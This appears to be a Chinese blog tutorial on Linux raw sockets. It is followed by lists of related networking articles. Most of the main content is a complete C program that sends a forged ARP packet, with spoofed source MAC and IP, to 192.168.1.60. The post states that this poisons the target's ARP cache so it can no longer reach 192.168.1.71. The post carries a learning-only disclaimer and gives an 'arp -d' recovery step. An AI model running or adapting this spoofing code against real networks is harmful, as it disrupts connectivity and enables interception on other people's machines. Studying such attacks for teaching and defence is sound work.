linux原始套接字-发送ARP报文

2023-10-28

linux原始套接字,可以直接发送和接收链路层和网络层的报文,对我们理解TCP/IP协议栈有很多帮助。

也可写出很多有趣的程序。

下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING通192.168.1.71。

使用命令arp -d 删除arp缓存即可恢复。

本示例仅供学习交流,请勿用于非法用途。

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>


#define print_errno(fmt, ...) \
    printf("[%d] errno=%d (%s) #" fmt, \
        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv)
{
    struct ether_header *eth = NULL;
    struct ether_arp *arp = NULL;
    struct ifreq ifr;
    struct in_addr daddr;
    struct in_addr saddr;
    struct sockaddr_ll sll;

    int skfd;
    int n = 0;

    unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
    /*伪造 源MAC*/
    unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};

    daddr.s_addr = inet_addr("192.168.1.60");
    /*伪造 源IP*/
    saddr.s_addr = inet_addr("192.168.1.71");

    memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);

    /*创建原始套接字*/
    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (skfd < 0) {
        print_errno("socket() failed! \n");
        return -1;
    }
    
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name, "eth1");
    if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
        print_errno("ioctl() SIOCGIFINDEX failed!\n");
        return -1;
    }
    printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);

    bzero(&sll, sizeof(sll));
    sll.sll_ifindex  = ifr.ifr_ifindex;
    sll.sll_family   = PF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);

    #if 0
    /*获取本机IP*/
    if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
        printf("ioctl() SIOCGIFADDR failed! \n");
        return -1;
    }
    printf("ifr_addr    = %s\n", \
        inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));

    /*获取本机MAC*/
    if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
        printf("ioctl() SIOCGIFHWADDR failed! \n");
        return -1;
    }
    printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
        (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[5]);


    #endif

    /*构造以太报文*/
    eth = (struct ether_header*)s_ip_frame_data;
    eth->ether_type = htons(ETHERTYPE_ARP);
    memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
    memcpy(eth->ether_shost, smac, ETH_ALEN);

    /*构造ARP报文*/   
    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
    arp->arp_hrd = htons(ARPHRD_ETHER); 
    arp->arp_pro = htons(ETHERTYPE_IP); 
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op  = htons(ARPOP_REQUEST);
    
    memcpy(arp->arp_sha, smac, ETH_ALEN);
    memcpy(arp->arp_spa, &saddr.s_addr, 4);
      /*
    memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
    memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
     
    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
        (struct sockaddr*)&sll, sizeof(sll));
    if (n < 0) {
        print_errno("sendto() failed!\n");
    }
    else {
        printf("sendto() n = %d \n", n);
    }
    close(skfd);
    return 0;
}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

linux原始套接字-发送ARP报文 的相关文章

  • 网络分层模型

    OSI七层模型 物数网传会表应 物理层 主要定义物理设备标准 如网线的接口类型 光纤的接口类型 各种传输介质的传输速率等 它的主要作用是传输比特流 就是由1 0转化为电流强弱来进行传输 到达目的地后再转化为1 0 也就是我们常说的数模转换与
  • 网络编程5之poll、epoll、超时检测

    1 poll机制 poll的实现和select非常相似 只是文件描述符fd集合的方式不同 poll使用struct pollfd结构而不是select的fd set结构 其他的都差不多 include
  • P2P原理以及如何实现(整理)

    前言 这几天看了p2p的原理以及实现的demo 整理一下 一共分为三部分 第一是概念原理 第二是demo实现 第三是p2p协议相关以及分类 一 概念原理 比较全面的理解 https zhuanlan zhihu com p 30351943
  • ARP协议和攻击原理

    转自 https blog 51cto com 13570193 2083332 ARP 在TCP IP协议栈中 最不安全的协议莫过于ARP了 我们经常听到的网络扫描 内网渗透 流量欺骗等等 他们基本上都与ARP有关系 甚至可以说 他们的底
  • TCP和UDP的最完整的区别

    欢迎访问个人网站 这里排版舒服点 TCP和UDP的最完整的区别 码到城攻TCP和UDP的最完整的区别https www codecomeon com posts 7 TCP UDP TCP与UDP基本区别 1 基于连接与无连接 2 TCP要
  • TCP的粘包问题

    TCP transport control protocol 传输控制协议 是面向连接的 面向流的 提供高可靠性服务 收发两端 客户端和服务器端 都要有一一成对的socket 因此 发送端为了将多个发往接收端的包 更有效的发到对方 使用了优
  • 如何轻松实现内网穿透?异地办公?调试微信小程序?

    步骤很简单 只需三步 1 从 https www i996 me 获取获取你的公网域名和访问Token 项目托管在 https github com bugfan i996 2 在Max Linux 环境下 Windows类似 打开一个终端
  • TFTP协议下载实验

    include
  • 基于TCP的服务器端/客户端

    TCP服务器端默认函数调用顺序 socket 创建socket bind 分配socket地址 listen 等待连接请求状态 accept 允许连接 read write 数据交换 close 断开连接 等待连接请求状态 int list
  • web服务搭建

    Python 吹爆Python 1行代码搭建Web服务器30行代码实现服务器的文件上传下载 需求 手机每日下载图片 然后需经过本人编写的Python脚本处理一遍 再返回到手机上 个人电脑不能保证时刻开机在线 自己也不可能一直在电脑旁边 故欲
  • linux socket非阻塞之connect 函数

    1 connect原型 include
  • Windows7旗舰版和10 创建原始套接字失败,代码10013

    笔记本重装系统后 以前能运行的程序中的Ping程序不能运行了 查看代码 创建套接字失败 RawSock socket AF INET SOCK RAW IPPROTO ICMP RawSock INVALID SOCKET 用DWORD d
  • fork()函数详解

    一个进程 包括代码 数据和分配给进程的资源 fork 函数通过系统调用创建一个与原来进程几乎完全相同的进程 也就是两个进程可以做完全相同的事 但如果初始参数或者传入的变量不同 两个进程也可以做不同的事 一个进程调用fork 函数后 系统先给
  • UNIX网络编程-recv、send、read、write之间的联系与区别

    原文链接 http www cnblogs com mhscn p 3911284 html include
  • ARP 超时。为什么要固定周期?

    这个问题多年来一直困扰着我 基本问题 ARP有什么原因吗has要在 ARP 缓存条目上实现固定超时吗 我在实时圈子里做了很多工作 如今 我们的大部分系统间通信都是通过专用 UDP IP 链路进行的 这在很大程度上可以实时可靠地工作 但有一点
  • Python:获取默认网关的MAC地址

    Python 有没有什么快速的方法来获取MAC地址 of the 默认网关 我什么也做不了ARP 请求来自Linux我正在运行代码的机器 所以它必须直接来自ARP表 以下 DevFS 文件将提供此信息 proc net arp proc n
  • Android API级别30,无法再从Android arp表获取wifi网络设备MAC地址

    我有一个小型网络扫描仪应用程序 它需要查找响应 ping 等的扫描设备的 MAC 地址 很快 Google 需要 targetSdkVersion 30 这意味着在没有响应的情况下无法再以任何方式访问 arp 表 没有权限 以前我用过 bu
  • 在 Linux 上嗅探数据包时过滤网络堆栈中的数据包?

    我有一个问题要问底层网络 Linux 专家 我必须为我大学的安全项目构建两个工具 第一个工具是 ARP 中毒攻击者 它会毒害远程主机的 ARP 缓存 以便检索他发送到另一台主机的数据 我使用原始套接字用 C 语言编写了这个工具 它工作得很好
  • 开始浏览时发送的第一个数据包

    想象一下用户坐在一台连接以太网的电脑前 他打开了浏览器 他在地址栏中输入 www google com 并按回车键 现在告诉我以太网上出现的第一个数据包是什么 我在这里找到了这个问题 Socket编程和多线程面试题 https stacko
  • 为什么 ARP 请求非本地地址?

    我有一个带有 2 个网卡的 Linux 虚拟服务器 eth0

随机推荐

  • 求旋转后的坐标

    坐标点target 中心点center 角度angle 旋转后坐标 function getRotatePoint targetX targetY centerX centerY angle const rotation angle Mat
  • settings.xml详解(很详细读这一篇就够了)

    目录 一 settings xml在哪里配置 有什么用 二 settings xml元素详解 2 1 LocalRepository 2 2 InteractiveMode 2 3 UsePluginRegistry 2 4 Offline
  • RT-Thread ——RTC配置

    RT Thread RTC配置 STM32F103系列芯片的RTC功能存在一些缺陷 一 显示时间戳 RTC Real Time Clock 译为实时时钟 因为它一般是集成电路 故也称为时钟芯片 它能提供精确的实时时间 可以用于产生年 月 日
  • MySQL 中视图和表的区别以及联系是什么?

    两者的区别 1 视图是已经编译好的 SQL 语句 是基于 SQL 语句的结果集的可视化的表 而表不是 2 视图没有实际的物理记录 而基本表有 3 表是内容 视图是窗口 4 表占用物理空间而视图不占用物理空间 视图只是逻辑概念的存在 表可以及
  • Codeforces Round #697 (Div. 3) C. Ball in Berland

    我的第一篇博客 XD 第一次写 小激动 一 解题思路 我一个菜鸡 看到这题 刚开始也就能想到n2算法 但肯定是过不了的 所以我又绞尽脑汁 想了一波 终于在 这题必有巧 的信念指导下 想出来了 目标是找到2个组合 让他们不冲突 那么可以显然知
  • C++学习(五十六)qt如何同时做debug和release

    CONFIG debug and release
  • Java开发 Eclipse使用技巧(转)

    1 如何设置默认的代码目录为src 默认的输出目录为bin window gt Preferences gt java gt Build Path中 右侧选择Folders就可以2 如何为快速局部变量设置getX setX属性 在代码里 g
  • node cron 动态任务调度,不同timeZone配置

    系列文章目录 前言 一 安装cron和timezone 二 创建相关db 1 定时任务开关表 2 定时任务表和运行记录表 三 相关代码实现 四 时区数据下载 五 time cron 前言 使用cron 插件实现动态任务调度 配置不同时区的定
  • C语言:猜数字游戏

    define CRT SECURE NO WARNINGS include
  • 又是一年中秋至|Python Pygame制作中秋兔子接月饼游戏【源码+解析】

    一年中秋又快到了 今年加入了Python的学习行列 得益于Python的开发效率和易读性 网上写文章的次数多了起来 既然是中秋节那肯定要搞个应景的游戏才行 左思右想没有头绪时 刚好看到一篇介绍Pygame制作飞机大战的文章 文章写的不错 文
  • MySQL常用的存储引擎

    MySQL常用的存储引擎为MyISAM InnoDB MEMORY MERGE 其中InnoDB提供事务安全表 其他存储引擎都是非事务安全表 MyISAM是MySQL的默认存储引擎 MyISAM不支持事务 也不支持外键 但其访问速度快 对事
  • 我与计算机视觉-[CUDA]-[CPU多线程下CUDA的多流]

    首先问题出在cpu下的多线程 当你想要在多个线程下调用同一个cuda核函数的时候 你会发现效率很低 那么经过验证 的确 不管你有多少个线程 cuda总是将线程中的核函数放入默认流中进行队列方式的处理 相当于单线程 但是这个问题在cuda7后
  • 华为交换机之SNMP管理

    华为交换机之SNMP管理 一 网络环境 1 网络拓扑 2 全网互通链接 二 SW2的SNMP配置 三 检查配置 一 网络环境 1 网络拓扑 2 全网互通链接 中小型局域网规划实战案例 二 SW2的SNMP配置 SW2 snmp agent
  • springboot读取yaml数组配置

    前提 我们常见的读取方式 test list TEST LIST http xxx com http ac com http cd com list2 http xxx com http ab com Configuration publi
  • 项目管理-什么是项目管理

    项目管理 简称 PM 就是项目的管理者 在有限的资源约束下 运用系统的观点 方法和理论 对项目涉及的全部工作进行有效地管理 即从项目的投资决策开始到项目结束的全过程进行计划 组织 指挥 协调 控制和评价 以实现项目的目标 项目是指一系列独特
  • Android 5.0环形电量图标,分享支持MIUI10的5种电池样式,包括:圆形、环形、数字等等!...

    原标题 分享支持MIUI10的5种电池样式 包括 圆形 环形 数字等等 MIUI为保证用户新鲜感 UI两年会大改一次 不过这个胶囊电池似乎从来没变过 从MIUI6开始到现在一直是它 相信看这么多年也烦了 这里就来分享一些我的自用主题 其中这
  • 老司机带你快速实现Python下载与安装

    目录 一 新手下载与安装Python的步骤 二 老司机下载与安装Python的步骤 先来看一下新手是怎么下载安装的 一 新手下载与安装Python的步骤 1 打开Python官网 https www python org 2 点击下载按钮
  • IEEE二进制浮点数算术标准(IEEE 754)

    IEEE二进制浮点数算术标准 IEEE 754 是20世纪80年代以来最广泛使用的浮点数运算标准 为许多CPU与浮点运算器所采用 这个标准定义了表示浮点数的格式 包括负零 0 与反常值 denormal number 一些特殊数值 无穷 I
  • C++设计模式篇卷首语

    2023年8月23日 周三上午 我为什么要学习设计模式 今天早上本来想开始写控制台云盘项目的 但是没有设计模式的思想 就算我能写出来 项目代码的质量一定不是很好的 还有一个原因 那就是我昨天晚上看到有人强烈推荐学习设计模式 所以我决定开始学
  • linux原始套接字-发送ARP报文

    linux原始套接字 可以直接发送和接收链路层和网络层的报文 对我们理解TCP IP协议栈有很多帮助 也可写出很多有趣的程序 下面的例子是向192 168 1 60的电脑 发送伪造的ARP报文 使其更新ARP表 导致无法PING通192 1